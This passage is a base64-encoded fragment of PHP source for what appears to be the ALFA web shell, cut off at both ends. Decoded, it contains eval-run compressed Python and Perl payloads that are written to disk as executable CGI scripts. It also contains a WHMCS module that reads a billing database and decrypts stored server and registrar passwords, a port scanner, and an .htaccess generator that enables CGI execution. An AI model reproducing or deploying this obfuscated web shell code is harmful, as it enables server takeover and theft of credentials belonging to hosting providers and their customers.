Jrc0Y1L3RLTEZvZ1crOFVLck85QUJNY2h3OWVYZDhlQjRlcGJuVnpkN1BBb1l1bnJ5ZW1KSTd5RThyT3I3blZIREVTVVNDOGhsQkpSR3VtY2tnenl4NkUvN2RGU003a2lJMVhTbEY4eVJrckZMWVhFV2ZJZ1lGSEpPZGdpZzZ1ckhTemMvSFVxNzBzUklwYndSNldWTGhyN0ZLd1NUVGhsZVpGR29nM2pDeEZwYU5jVFdFR3F6RDMzRmt4MnByVTJGdmtWVlBvMTY0MzlFSUpvREZmdnZmWWYrKzMvZGR2L3VqWXQvYkhlS1NKWk1GOC9vYnRRTEMyMktQZnRRUXlhUjNrYkRSNlFuTjNtMWpKZmhkaFF0bHQyaUpEUmNBbDZqWVk1ejBNMk9rREJaSFpIOWsrTzlzbUU3WitTTmpsNGRVek9XUm9PTFlrMEZIazBlcktHQ1RTRUVpd1RhYk96VFl2MUhQeVlEMGpLRjh2Y2pqK3hGQUEzQStsMjI0L0RPQjNzOVBmbTgyN1h2dUZCdmh6MG5uV1RXN3RNVENpTHlMYzlnNkh0bzQzS3Q3ZE1DQXREbm1ROHMyK1dQR2R0MkJJK1dCakZONm1YMkJ1Ujcrc1ZsQjBldFlYOEFaUlI0QTMwT1lkeHNPMkZmQkVOeUFxVUNaazlpMU1JQ3VBa3R5U0xReDRRS0hYMkRMeTZTSEdtQWQ5aEJZUU5EdDRFN050MnR2UUMxS01MdjgrQWFxYzcvcW43YkY5eGFxZGV3SXRzZ0V2S050TGZRd1YreEF5L1NEUHdFVWxpamduNEZjZElZNG5jNit1NnptaURpa0hJNW5tcFNFOTRZaU8yd3BYWUNuS1BYYStWd0ZKZW5aY0k3c051a3BFa2NZb0Y0eUVIYkhiOFZiRCtXOXhLMy8yQ0tqOFF6d2VrSlY0UThHalJWazdLY3FqS0E3TDM1UXBEVFJDK3dhQkFhRDNZeWxpVGxINk52SzVwWDFPK0ZGelRwVzdQenBINEtRVVBlajhEbWtyOHZlZiszdDd6TXZHNzNjZlZEdkdLUExZM1dMNXhndzB0dVRWbk9QM0dFZGFtYjFWbGNEWFc0emtnWkFiMnFObENTSFRvVGxmOFFHR05FK2xLaDhJWHBrYnRVNzRLdFdyZlM0Wk9Gd0IwRmpDVHBrR1ZySm91VkJNbENnSkpSMWRrT0t0S0NYaUVrY3dMU0F2Uzl4UFBPSFJoOHFjQXE2OFhpeFUwL0k0ZnI0YldiRVN1c2Y1R2VWVi9oemwyYmlMZDdOQWVEQkpTUy9RZUpUN3NKZHcvNEdpaEozNHJ4enUwRDRybXlDSm9FQ210NTdEckhQcU9wWUVYZVdWZlFoSlFvMkhYVHI4Lzd2ZWZpNVhMU25OeXNPQ3FOczVHU20wQ3RUZUM4eXhZbjhjRW16NUxJY0E0QkhWMGlaY0grTURHMG13UlIzRU05cFpUa05KN1JEdXRCOFlmWTl1SE9yVGlDQS8wRmZ6RnJNRVV3aHBQYTNMVURjSUpKUGd4RmdMa3RkYk9VeGgyOEVSWG5iOXJQV2xFeEJFYzRpcm1FamxINkNxZnV6LzlBaTYxZGRCemU5V0FLb2xoNWNYM0tHck9vZFdBOHlWTmZ6Wm52VDJncWFsVjRsKzdHcUYyTlEyaU0yWS9QQTNLbGVXOUplajhqVldZbGh4WFg4Sk9XemRtU0ZlSFNLdTdubzd1Nmh1eDZ2L1FoT2xYRStZL25VKzNvOWFQaktKL2E3SUNnRXdlU080NkE2d1dKYmt2cDB5b1VOdlpyL3NYWnpKZnB1czk3SEkyYk02TmltUTBvbzNaV0Q2L1M3K1VTa1ppQmc2NS85R2hFSHcvanVZY2RwdXI3NmVNM01VRm5Gdmc1VmRJQUpVQlFDUVNRazZBUkEyRmN3OCs3SzFPcjJNNHAxV0RKV1RvUHhvcW05ZUFhK0QwU0c1Y2MrMkZIcWpiTmF0SlVLQVNkdXN6aGlWNTVkM3lWYkVpT1JDVEdNNklYN2xUekJqWUhoaVpXWjdCeHJmTUwzSldNbHh2V3Rzck9QdGVPbTF2dUM0UExvN1BKOU96L2RNeEhETnJ1NzNDR0YrOEcxOXNNWnFuYTFKZXg5aWFUTjBTaElkVzdhS0lTbVVjRWpEY0Z0T1p1SnlWcDJrZnI4QzB4cUQ5QUZhQVdQSlNvSUg2UVYxdWZzQ1RkR01ONDBYRndieWhBbDRUdkhlekozN2daay94eGdrdnoyQ3dnQk9pdk83NUxvRjluMExHdjNsRnFpNW9PeldvdmRIZWhNRURSNG5LUGRRUGlGdXY2UzZGNnF0WTRhS1NXd0dWK1Y5eGpXVDh3YlEzclhzbkhMeS93WHZmdjlSUnRoM0RmVkZQamhxbUxPNzNXdUl3NEovS0JxR0dRNXhtQm4wY3gvU1JHRCtrNVlPSHVvbWFNVVVEcWdLeWJVQ3lTWU9JMFRENXRxakdZRm9LTDRkS2tzWTNtYVAzdXpySkVwaEovQ1dEb3FLTHlnQ2lSVHFvck1hTVVxZFBjOTJxTHF2S0JQaUxjYXdiVTArUGVuM1FMbzlmcmZYOWs0dFRjUTNxdHByYjM1YjE0eXRGUWQwb2YvRWZEY0QyczlPcjhnM3Y2Y2huYW91TEt3V1VtTHZiZW1QaTBTZGt4ckN4UGdKV1UzWGd4UnZRMUkxTXZFMVZDYUJOOFFDN0FXbmRSbkdzTWxKbytHVTEzR3pLRkxMSytKUXh0cExhU0VidDFsZkhKTHQxYjFLei93OHdibFMrRlJvQUFBPT0iKSkpOyc7OwokcHkgPSAnIyEvdXNyL2Jpbi9weXRob24nLiJcbmltcG9ydCB6bGliLCBiYXNlNjRcbiIuJ2V2YWwoY29tcGlsZSh6bGliLmRlY29tcHJlc3MoYmFzZTY0LmI2NGRlY29kZSgiZUp5bEY5dHkyemIyMmZvS0RMeGJVcXVyRlR2TjZOYTZYcWYxYk5ObUVyY3Z0a2NERXFDSUNRbHdRZEMyNnZGKys1NERrQkxWYU9PMmE4L1lCTTc5Zm1ETlp0bzVrbm1oalNYeFd0cG81djhOaFdKUkpzSnVSenpHb3JDQVZiQ3k3TlNvNWFic0ExNWZsLzIxc0FqcFI2d1VyMC83bGNreUdYVVNvM05pWlM1SVEyRk5ndWVHZ3pVc0ZoR0xQM25VajlaSXRiNzZ1VUZ2empXakJya0JGd0MxSzFDdEl4T2lTOUQyWGhxdGhpa3JWNS9FSnFRZkx6NWN2YjllL1hUKzdwSjJRZmt5TnJLd2lvRkNpeGJCelI3aVhVZGtwZmc5TnFVZExoTENzb1JkNUR5TWtkMVJuTXFNcjByTHBlcVQ3VUZYMXJNdmRDSFVCSEQzVVlkeHBrdDA2dEdSRVdXVklYYWJlR2dFNCtFZUVkNjJxV3hsRlBIRW5VU2JIRG1zNWZDdEZCbi9hTFZoYThTTWN3NEFoQThoUHZjc3EwUVl4RUczdzZYNUhNQUJBSDRFSWpETmsvb3dEaXYxNzBwYkVmcmdEcVBYcDF6RW1vc1FzTHFPQ0JnQ2tXZjdFaEZnZFZ1Uy9NZk5lUHJxaml3V0pJZzVDZEMzeXF2Z3pxU0hFdUJ2TU1OdmhPQjM4Y0FEd0x5b2pCSEsvdE5KYndLRTVGM3daSkZCMG9UQnJRcjZnVGRRYWV1NE1RV2NkN1NCQTBoRk1oMnpyQXd4d0FjNUJ5ajJBT3M2YTBEQ0MxejMyWUlxSFlqZHlqc1BzNGJaZE1paUV2K0hkRWk3bmZlUS9RVm1TWEJENW5Ddm9JNDJtVmpRV0dmYVRJL0hyNzQrR1k5bmRCbjA2anJFc0ZhbE1HRzNGOHhIU0xMODlnWEt2WEs0L1BEcjVZZTZITFljRHNxZVJJazRPWE1jZG1idFNPNytGcURQVnlzc285WEtSWGkxeXBsVXF4V0cyWlV3b1JkYVdTQWQyRTBocHNTS1J6dEtiWjdkbWx0Rkc2UmdqbGZMZVFyVnNaeGJhVE94dklDRTRpVGFrUE1mMzU2VGEzSCtqZ3pJeGZkWDVQM0dwbHJOUng1dG5ndkxvTWFZS1lWZDBGK3UzdzdlME9YY1diTDh4eE5VVnlhVm1DcXR4T3o1ZUxWS1VOdXFlRW95emV5VUdMbE83VXpmQ3dNWEQxT1NTczZGbW5rUGtPUEpXWktBRXg4a3QrbVVuSnlPaThjWmx5V2t4MllLb1VmV2d3amkvMm1HaGcxMmZBUVVTbEhLY3ZhUVNpc0c0TEVZckZmNndiQmk5cHl4U0dSUE9UTnJxUVpPQldDT3ZJSGVTc2ltQWN2a1drMUpEdXBrWWhacHd3WG9jMUk4a2xKbmtrT0Q0RFBzbDJ1aks4V24yRUFWQ01FZ0FmYmpvRXdaUnozRzhIc0tWTWZqeTFmajAvT2EwOEF3THF0eWlxREd1TWtaS3ZCbnpJZ3JVNktYQ2cweEZPWi9PTVliaStOQnEvVlRXMmUwb1E1REpoSzc5Ykx6eExOVVJXVnZNR3NXWlJYbDB0NDkxUUliZVcxZUxyNkgzVlRIRWpxbldvdEREbmcraG9ieTlKZTROYjc3R2xVK0VNOEQwZ3JHWVZDc0I3V1RTc3NNWUo5OURoR29DZDQvWTFBZ3RPd0p4b0w4VGRUNjdhVjJTL3VXOG8zZ2xpNXRlNDdmdXA5RzhQVGtOYURWeFgvMkpqNDdlMU1iQ0kzazc3c2lZWlhWczJkb0E2N0c1aU5mdFpIbUc2SVZ4Sk12S05keGxVTXVZck82ekFSK2ZyZTU0dUZ0QUs2K2hSYWJBQUswekJrbDBkcEpYTkRqc2Z1aHhPckN1M0pCNFlTcDBUcjZUNmRXNjV3S2RMcTdRR2NCTTI4YWRJSllZTElzNXduMElWS0xna0RTSlRUY2FOZGx3Q09DbEl5VHJ5Qjk3MlVwWVRraS8zSFg5ZW5iTmZTMmJCanJmRDZLb1AzTlI4Z1M3RzhrV0Z5b2lIZnpncDVRVW11SjNxTWtobHJDK2dGSE96M3hYRHQrUVNlZ3FFVVcvSUEvMm14cU94S293d1g5VlJqT0ZLTUVzOEl6QWNYMkxEMmVUQzRua3pjTzhuRm5DN2xZeTIwampaYTFLUVI2dFJLeEJZOVlUVjZZRzBobE9mNHhqZTdMb0puNVJKYmtKOGhEdDBtNVlVOWJ6WjdMKzJiVTFEV0RRWjVPTUV1ZHBoYzZ6M0dHVHcvTnBicjBZQ3oxVVZTZk5CUEo2d1RNbC9OaStVVWhlNVhhaUcycWpCajlVSUkzd2ZObEFVR0tVeEYvV3RBRVpyeWd0WWxCSWpNUjRQREhUUXV0dEc3UlBqcENRSUs3V3IyRjNYalVPNFRWR3dxRVFFSFpLOWd3dHRoOWtzblN1aFhpaUpBMms1dnQ0YTdqQkdqajROQ1BjNmRBQTNhMEtLT0JEdkVEeDUySEVPQ3JXbnNJYm04SURUL0Q3Mjd4cXl4YjRTMlF0VFliV05CR3VLd2xxa0hFYlRqY1lrTklIaUlvOGdjRGJQZloxd3Z3VGdMY1lmYUNBTWlORUhRRHo5Z2RxeTZjVjRnd09obFBUcmRrOVc1eGpWTXZFVkRPaFBaZ3dvUU51MjZQa245OU42VDcrTUYxS3B4RVFvTmVvbm9CMUJZclNWVmcwd0llWlJYSG9peFIrR2FJNjZkL0dwRkw5MDlxZUFrSVk1dzNQVU00ZFk3cTVYQ2JBUjYwWFNuckpYZmZmYzJ1Mnowc3hQUEI1OWkyWmtaTmVqWXBQaW9PRk9BOGNwME9YZzFhK2FtNW9EYVY0RlYzR01LSXhpYkZGOVpVWXRhQ3BMOER5U1RjZzBxK1dOd0dLYlR1SjNmUGgrNXBBWGRCcjE1eGU4RnQ4T3lBY1EyTXJHWmhwVVFaczBLRVF1RWI0WmNQVjFEZEJmUUdDSGNidTl2dHp2WlkvekZxdnFPbUJKTVhLaFdtZ29EV0JuUG8vYzhmcnlsaE1mcDFBVUhmdmZzZytNdTUyekdJMnpHbzMvd2FIcHdTcndYZFgzNXhHZlk3ZXk4Z2UvUVlIMHJBVHhUaTJyQ0pLZG1YNHYzWmdKdVQ3OSt2eGx1aHl5VmRmcVhnb1RCci8zMlJVK29WQUN1MGlqT0piUXNDR1d1VlNKUEQ4RDAzZ214MEJZa09IOTlBTU90b0FwRUw3dXdaazVuVWoxRFg4V1piblg3UU9mUS9IQlVteHphNHk4eERTYmdidTM4bUdmK1AyQU9TZDB3T0wyY0pxN0IxbWc0NHMrd1BKNFRmVlJPY25IVlhNUGlZd0JtRWp0MCtIOUFQemNQSkxiWjcwYnBJTmJ6bkNYTzlCdmNraHpFZk9lNU5QdFN6cVZtYTNkYm13N2VWakZGTWNkaDlhYUhhNm9ScmxZVDViWDY0ZnZmandqbkl0Y09iOGQwUU1ZQzdkeERlYm12RmZkZjVkN1l0aWYzMDNFKzRPaDI4bG4reGlMNUF4RDZYNEZOdXQyanRNbTdrZGk2Yy9MQjk0aXFLejhqZ3YxMU5WWm89IikpLFwnPHN0cmluZz5cJyxcJ2V4ZWNcJykpJzsKaWYoJF9QT1NUWydhbGZhMSddPT0ncGVybCcpeyRjb2RlID0gJHBlcmw7fWVsc2V7JGNvZGUgPSAkcHk7fQppZihfX3dyaXRlX2ZpbGUoJG5hbWUsJGNvZGUpKXsKQGNobW9kKCRuYW1lLDA3NTUpOwplY2hvICc8aWZyYW1lIHNyYz0iJy5fX0FMRkFfREFUQV9GT0xERVJfXy4nL2NnaWFsZmEvJy4kbmFtZS4nIiB3aWR0aD0iMTAwJSIgaGVpZ2h0PSI2MDBweCIgZnJhbWVib3JkZXI9IjAiIHN0eWxlPSJvcGFjaXR5OjAuOTtmaWx0ZXI6IGFscGhhKG9wYWNpdHk9OSk7b3ZlcmZsb3c6YXV0bzsiPjwvaWZyYW1lPic7Cn0KfQplY2hvICRkaXY7CmFsZmFmb290ZXIoKTsKfQpmdW5jdGlvbiBhbGZhV2htY3MoKXsKYWxmYWhlYWQoKTsKZWNobyAnPGRpdiBjbGFzcz1oZWFkZXI+JzsKZnVuY3Rpb24gZGVjcnlwdCgkc3RyaW5nLCRjY19lbmNyeXB0aW9uX2hhc2gpewoka2V5ID0gbWQ1IChtZDUgKCRjY19lbmNyeXB0aW9uX2hhc2gpKSAuIG1kNSAoJGNjX2VuY3J5cHRpb25faGFzaCk7CiRoYXNoX2tleSA9IF9oYXNoKCRrZXkpOwokaGFzaF9sZW5ndGggPSBzdHJsZW4gKCRoYXNoX2tleSk7CiRzdHJpbmcgPSBfX1pHVmpiMlJsY2coJHN0cmluZyk7CiR0bXBfaXYgPSBzdWJzdHIgKCRzdHJpbmcsIDAsICRoYXNoX2xlbmd0aCk7CiRzdHJpbmcgPSBzdWJzdHIgKCRzdHJpbmcsICRoYXNoX2xlbmd0aCwgc3RybGVuICgkc3RyaW5nKSAtICRoYXNoX2xlbmd0aCk7CiRpdiA9ICRvdXQgPSAnJzsKJGMgPSAwOwp3aGlsZSAoJGMgPCAkaGFzaF9sZW5ndGgpCnsKJGl2IC49IGNociAob3JkICgkdG1wX2l2WyRjXSkgXiBvcmQgKCRoYXNoX2tleVskY10pKTsKKyskYzsKfQoka2V5ID0gJGl2OwokYyA9IDA7CndoaWxlICgkYyA8IHN0cmxlbiAoJHN0cmluZykpCnsKaWYgKCgkYyAhPSAwIEFORCAkYyAlICRoYXNoX2xlbmd0aCA9PSAwKSkKewoka2V5ID0gX2hhc2ggKCRrZXkgLiBzdWJzdHIgKCRvdXQsICRjIC0gJGhhc2hfbGVuZ3RoLCAkaGFzaF9sZW5ndGgpKTsKfQokb3V0IC49IGNociAob3JkICgka2V5WyRjICUgJGhhc2hfbGVuZ3RoXSkgXiBvcmQgKCRzdHJpbmdbJGNdKSk7CisrJGM7Cn0KcmV0dXJuICRvdXQ7Cn0KZnVuY3Rpb24gX2hhc2goJHN0cmluZykKewppZihmdW5jdGlvbl9leGlzdHMoJ3NoYTEnKSkKewokaGFzaCA9IHNoYTEgKCRzdHJpbmcpOwp9CmVsc2UKewokaGFzaCA9IG1kNSAoJHN0cmluZyk7Cn0KJG91dCA9ICcnOwokYyA9IDA7CndoaWxlICgkYyA8IHN0cmxlbiAoJGhhc2gpKQp7CiRvdXQgLj0gY2hyIChoZXhkZWMgKCRoYXNoWyRjXSAuICRoYXNoWyRjICsgMV0pKTsKJGMgKz0gMjsKfQpyZXR1cm4gJG91dDsKfQpBbGZhTnVtKDgsOSwxMCk7CmVjaG8gIjxjZW50ZXI+PGJyPjxkaXYgY2xhc3M9J3R4dGZvbnRfaGVhZGVyJz58IFdITUNTIERlQ29kZXIgfDwvZGl2PjxwPiIuZ2V0Q29uZmlnSHRtbCgnd2htY3MnKS4iPC9wPjxmb3JtIG9uc3VibWl0PVwiZygnV2htY3MnLG51bGwsdGhpcy5mb3JtX2FjdGlvbi52YWx1ZSwnZGVjb2RlcicsdGhpcy5kYl91c2VybmFtZS52YWx1ZSx0aGlzLmRiX3Bhc3N3b3JkLnZhbHVlLHRoaXMuZGJfbmFtZS52YWx1ZSx0aGlzLmNjX2VuY3J5cHRpb25faGFzaC52YWx1ZSx0aGlzLmRiX2hvc3QudmFsdWUpOyByZXR1cm4gZmFsc2U7XCI+CjxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J2Zvcm1fYWN0aW9uJyB2YWx1ZT0nMic+IjsKJHRhYmxlID0gYXJyYXkoJ3RkMScgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdkYl9ob3N0IDogJywgJ2lucHV0TmFtZScgPT4gJ2RiX2hvc3QnLCAnaWQnID0+ICdkYl9ob3N0JywgJ2lucHV0VmFsdWUnID0+ICdsb2NhbGhvc3QnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwKICd0ZDInID0+CiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnZGJfdXNlcm5hbWUgOiAnLCAnaW5wdXROYW1lJyA9PiAnZGJfdXNlcm5hbWUnLCAnaWQnID0+ICdkYl91c2VyJywgJ2lucHV0VmFsdWUnID0+ICcnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwKICd0ZDMnID0+CiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnZGJfcGFzc3dvcmQgOiAnLCAnaW5wdXROYW1lJyA9PiAnZGJfcGFzc3dvcmQnLCAnaWQnID0+ICdkYl9wdycsICdpbnB1dFZhbHVlJyA9PiAnJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksCiAndGQ0JyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ2RiX25hbWUgOiAnLCAnaW5wdXROYW1lJyA9PiAnZGJfbmFtZScsICdpZCcgPT4gJ2RiX25hbWUnLCAnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpLAogJ3RkNScgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdjY19lbmNyeXB0aW9uX2hhc2ggOiAnLCAnaW5wdXROYW1lJyA9PiAnY2NfZW5jcnlwdGlvbl9oYXNoJywgJ2lkJyA9PiAnY2NfZW5jcnlwdGlvbl9oYXNoJywgJ2lucHV0VmFsdWUnID0+ICcnLCAnaW5wdXRTaXplJyA9PiAnNTAnKQopOwpjcmVhdGVfdGFibGUoJHRhYmxlKTsKZWNobyAiPHA+PGlucHV0IHR5cGU9J3N1Ym1pdCcgdmFsdWU9JyAnIG5hbWU9J1N1Ym1pdCc+PC9wPjwvZm9ybT48L2NlbnRlcj4iOwppZigkX1BPU1RbJ2FsZmE1J10hPScnKXsKJGRiX2hvc3Q9KCRfUE9TVFsnYWxmYTcnXSk7CiRkYl91c2VybmFtZT0oJF9QT1NUWydhbGZhMyddKTsKJGRiX3Bhc3N3b3JkPSgkX1BPU1RbJ2FsZmE0J10pOwokZGJfbmFtZT0oJF9QT1NUWydhbGZhNSddKTsKJGNjX2VuY3J5cHRpb25faGFzaD0oJF9QT1NUWydhbGZhNiddKTsKZWNobyBfX3ByZSgpOwokY29ubj1AbXlzcWxpX2Nvbm5lY3QoJGRiX2hvc3QsJGRiX3VzZXJuYW1lLCRkYl9wYXNzd29yZCwkZGJfbmFtZSkgb3IgZGllKG15c3FsaV9lcnJvcigkY29ubikpOwokcXVlcnkgPSBteXNxbGlfcXVlcnkoJGNvbm4sIlNFTEVDVCAqIEZST00gdGJsc2VydmVycyIpOwokbnVtID0gbXlzcWxpX251bV9yb3dzKCRxdWVyeSk7CmlmICgkbnVtID4gMCl7CmZvcigkaT0wOyAkaSA8PSRudW0tMTsgJGkrKyl7CiR2ID0gQG15c3FsaV9mZXRjaF9hcnJheSgkcXVlcnkpOwokaXBhZGRyZXNzID0gJHZbJ2lwYWRkcmVzcyddOwokdXNlcm5hbWUgPSAkdlsndXNlcm5hbWUnXTsKJHR5cGUgPSAkdlsndHlwZSddOwokYWN0aXZlID0gJHZbJ2FjdGl2ZSddOwokaG9zdG5hbWUgPSAkdlsnaG9zdG5hbWUnXTsKZWNobygiPGNlbnRlcj48dGFibGUgYm9yZGVyPScxJz4iKTsKJHBhc3N3b3JkID0gZGVjcnlwdCAoJHZbJ3Bhc3N3b3JkJ10sICRjY19lbmNyeXB0aW9uX2hhc2gpOwplY2hvKCI8dHI+PHRkPjxiPjxmb250IGNvbG9yPVwiI0ZGRkZGRlwiPlR5cGU8L2ZvbnQ+PC90ZD48dGQ+JHR5cGU8L3RkPjwvdHI+PC9iPiIpOwplY2hvKCI8dHI+PHRkPjxiPjxmb250IGNvbG9yPVwiI0ZGRkZGRlwiPkFjdGl2ZTwvZm9udD48L3RkPjx0ZD4kYWN0aXZlPC90ZD48L3RyPjwvYj4iKTsKZWNobygiPHRyPjx0ZD48Yj48Zm9udCBjb2xvcj1cIiNGRkZGRkZcIj5Ib3N0bmFtZTwvZm9udD48L3RkPjx0ZD4kaG9zdG5hbWU8L3RkPjwvdHI+PC9iPiIpOwplY2hvKCI8dHI+PHRkPjxiPjxmb250IGNvbG9yPVwiI0ZGRkZGRlwiPklwPC9mb250PjwvdGQ+PHRkPiRpcGFkZHJlc3M8L3RkPjwvdHI+PC9iPiIpOwplY2hvKCI8dHI+PHRkPjxiPjxmb250IGNvbG9yPVwiI0ZGRkZGRlwiPlVzZXJuYW1lPC9mb250PjwvdGQ+PHRkPiR1c2VybmFtZTwvdGQ+PC90cj48L2I+Iik7CmVjaG8oIjx0cj48dGQ+PGI+PGZvbnQgY29sb3I9XCIjRkZGRkZGXCI+UGFzc3dvcmQ8L2ZvbnQ+PC90ZD48dGQ+JHBhc3N3b3JkPC90ZD48L3RyPjwvYj4iKTsKZWNobyAiPC90YWJsZT48YnI+PGJyPjwvY2VudGVyPiI7Cn0KJHF1ZXJ5MSA9IEBteXNxbGlfcXVlcnkoJGNvbm4sIlNFTEVDVCAqIEZST00gdGJscmVnaXN0cmFycyIpOwokbnVtMSA9IEBteXNxbGlfbnVtX3Jvd3MoJHF1ZXJ5MSk7CmlmICgkbnVtMSA+IDApewpmb3IoJGk9MDsgJGkgPD0kbnVtMSAtMTsgJGkrKyl7CiR2ID0gbXlzcWxpX2ZldGNoX2FycmF5KCRxdWVyeTEpOwokcmVnaXN0cmFyID0gJHZbJ3JlZ2lzdHJhciddOwokc2V0dGluZyA9ICR2WydzZXR0aW5nJ107CiR2YWx1ZSA9IGRlY3J5cHQoJHZbJ3ZhbHVlJ10sICRjY19lbmNyeXB0aW9uX2hhc2gpOwppZiAoJHZhbHVlPT0iIil7CiR2YWx1ZT0wOwp9CmVjaG8oIjxjZW50ZXI+RG9tYWluIFJlc2VsbGVyIDxicj48Y2VudGVyPiIpOwplY2hvKCI8Y2VudGVyPjx0YWJsZSBib3JkZXI9JzEnPiIpOwplY2hvKCI8dHI+PHRkPjxiPjxmb250IGNvbG9yPVwiIzY3QUJERlwiPlJlZ2lzdGVyPC9mb250PjwvdGQ+PHRkPiRyZWdpc3RyYXI8L3RkPjwvdHI+PC9iPiIpOwplY2hvKCI8dHI+PHRkPjxiPjxmb250IGNvbG9yPVwiIzY3QUJERlwiPlNldHRpbmc8L2ZvbnQ+PC90ZD48dGQ+JHNldHRpbmc8L3RkPjwvdHI+PC9iPiIpOwplY2hvKCI8dHI+PHRkPjxiPjxmb250IGNvbG9yPVwiIzY3QUJERlwiPlZhbHVlPC9mb250PjwvdGQ+PHRkPiR2YWx1ZTwvdGQ+PC90cj48L2I+Iik7CmVjaG8gIjwvdGFibGU+PGJyPjxicj48L2NlbnRlcj4iOwp9Cn0KfWVsc2V7X19hbGVydCgnPGZvbnQgY29sb3I9InJlZCI+dGJsc2VydmVycyBpcyBFbXB0eS4uLiE8L2ZvbnQ+Jyk7fTsKfQplY2hvICI8L2Rpdj4iOwphbGZhZm9vdGVyKCk7Cn0KZnVuY3Rpb24gYWxmYXBvcnRzY2FubmVyKCl7CmFsZmFoZWFkKCk7CmVjaG8gJzxkaXYgY2xhc3M9aGVhZGVyPjxjZW50ZXI+PHA+PGRpdiBjbGFzcz0idHh0Zm9udF9oZWFkZXIiPnwgUG9ydCBTY2FuZXIgfDwvZGl2PjwvcD4KPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCIgb25zdWJtaXQ9ImcoXCdwb3J0c2Nhbm5lclwnLG51bGwsbnVsbCx0aGlzLnN0YXJ0LnZhbHVlLHRoaXMuZW5kLnZhbHVlLHRoaXMuaG9zdC52YWx1ZSk7IHJldHVybiBmYWxzZTsiPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJ5IiB2YWx1ZT0icGhwdG9vbHMiPgo8ZGl2IGNsYXNzPSJ0eHRmb250Ij5Ib3N0OiA8L2Rpdj4gPGlucHV0IGlkPSJ0ZXh0IiB0eXBlPSJ0ZXh0IiBuYW1lPSJob3N0IiB2YWx1ZT0ibG9jYWxob3N0Ii8+CjxkaXYgY2xhc3M9InR4dGZvbnQiPlBvcnQgc3RhcnQ6IDwvZGl2PiA8aW5wdXQgaWQ9InRleHQiIHNpemU9IjUiIHR5cGU9InRleHQiICBuYW1lPSJzdGFydCIgdmFsdWU9IjgwIi8+CjxkaXYgY2xhc3M9InR4dGZvbnQiPlBvcnQgZW5kOiA8L2Rpdj4gPGlucHV0IGlkPSJ0ZXh0IiBzaXplPSI1IiB0eXBlPSJ0ZXh0IiBuYW1lPSJlbmQiIHZhbHVlPSI4MCIvPiA8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iICIgLz4KPC9mb3JtPjwvY2VudGVyPjxicj4nOwokc3RhcnQgPSBzdHJpcF90YWdzKCRfUE9TVFsnYWxmYTInXSk7CiRlbmQgPSBzdHJpcF90YWdzKCRfUE9TVFsnYWxmYTMnXSk7CiRob3N0ID0gc3RyaXBfdGFncygkX1BPU1RbJ2FsZmE0J10pOwppZihpc3NldCgkX1BPU1RbJ2FsZmE0J10pICYmIGlzX251bWVyaWMoJF9QT1NUWydhbGZhMyddKSAmJiBpc19udW1lcmljKCRfUE9TVFsnYWxmYTInXSkpewplY2hvIF9fcHJlKCk7CiRwYWNrZXRDb250ZW50ID0gIkdFVCAvIEhUVFAvMS4xXHJcblxyXG4iOwppZihjdHlwZV94ZGlnaXQoJHBhY2tldENvbnRlbnQpKSRwYWNrZXRDb250ZW50ID0gQHBhY2soIkgqIiAsICRwYWNrZXRDb250ZW50KTsKZWxzZXsKJHBhY2tldENvbnRlbnQgPSBzdHJfcmVwbGFjZShhcnJheSgiXHIiLCJcbiIpLCAiIiwgJHBhY2tldENvbnRlbnQpOwokcGFja2V0Q29udGVudCA9IHN0cl9yZXBsYWNlKGFycmF5KCJcXHIiLCJcXG4iKSwgYXJyYXkoIlxyIiwgIlxuIiksICRwYWNrZXRDb250ZW50KTsKfQpmb3IoJGkgPSAkc3RhcnQ7ICRpPD0kZW5kOyAkaSsrKXsKJHNvY2sgPSBAZnNvY2tvcGVuKCRob3N0LCAkaSwgJGVycm5vLCAkZXJyc3RyLCAzKTsKaWYoJHNvY2spewpzdHJlYW1fc2V0X3RpbWVvdXQoJHNvY2ssIDUpOwpmd3JpdGUoJHNvY2ssICRwYWNrZXRDb250ZW50LiJcclxuXHJcblx4MDAiKTsKJGNvdW50ZXIgPSAwOwokbWF4dHJ5ID0gMTsKJGJpbiA9ICIiOwpkb3sKJGxpbmUgPSBmZ2V0cygkc29jaywgMTAyNCk7CmlmKHRyaW0oJGxpbmUpPT0iIikkY291bnRlcisrOwokYmluIC49ICRsaW5lOwp9d2hpbGUoJGNvdW50ZXI8JG1heHRyeSk7CmZjbG9zZSgkc29jayk7CmVjaG8gIjxjZW50ZXI+PHA+UG9ydCA8Zm9udCBzdHlsZT0nY29sb3I6I0RFM0UzRSc+JGk8L2ZvbnQ+IGlzIG9wZW48L3A+IjsKZWNobyAiPHA+PHRleHRhcmVhIHN0eWxlPSdoZWlnaHQ6MTQwcHg7d2lkdGg6NTAlOyc+Ii4kYmluLiI8L3RleHRhcmVhPjwvcD48L2NlbnRlcj4iOwp9CmZsdXNoKCk7Cn0KfQplY2hvICc8L2Rpdj4nOwphbGZhZm9vdGVyKCk7Cn0KZnVuY3Rpb24gYWxmYWNnaWh0YWNjZXNzKCRtLCRkPScnLCAkc3ltbmFtZT1mYWxzZSl7CiRyZWFkbWUgPSAiIjsKaWYoJHN5bW5hbWUpeyRyZWFkbWU9IlxuUmVhZG1lTmFtZSAiLnRyaW0oJHN5bW5hbWUpO30KaWYoJG09PSdjZ2knKXsKJGNvZGUgPSAiI0NvZGVkIEJ5IFNvbGUgU2FkICYgSW52aXNpYmxlXG5PcHRpb25zIEZvbGxvd1N5bUxpbmtzIE11bHRpVmlld3MgSW5kZXhlcyBFeGVjQ0dJXG5BZGRUeXBlIGFwcGxpY2F0aW9uL3gtaHR0cGQtY2dpIC5hbGZhXG5BZGRIYW5kbGVyIGNnaS1zY3JpcHQgLmF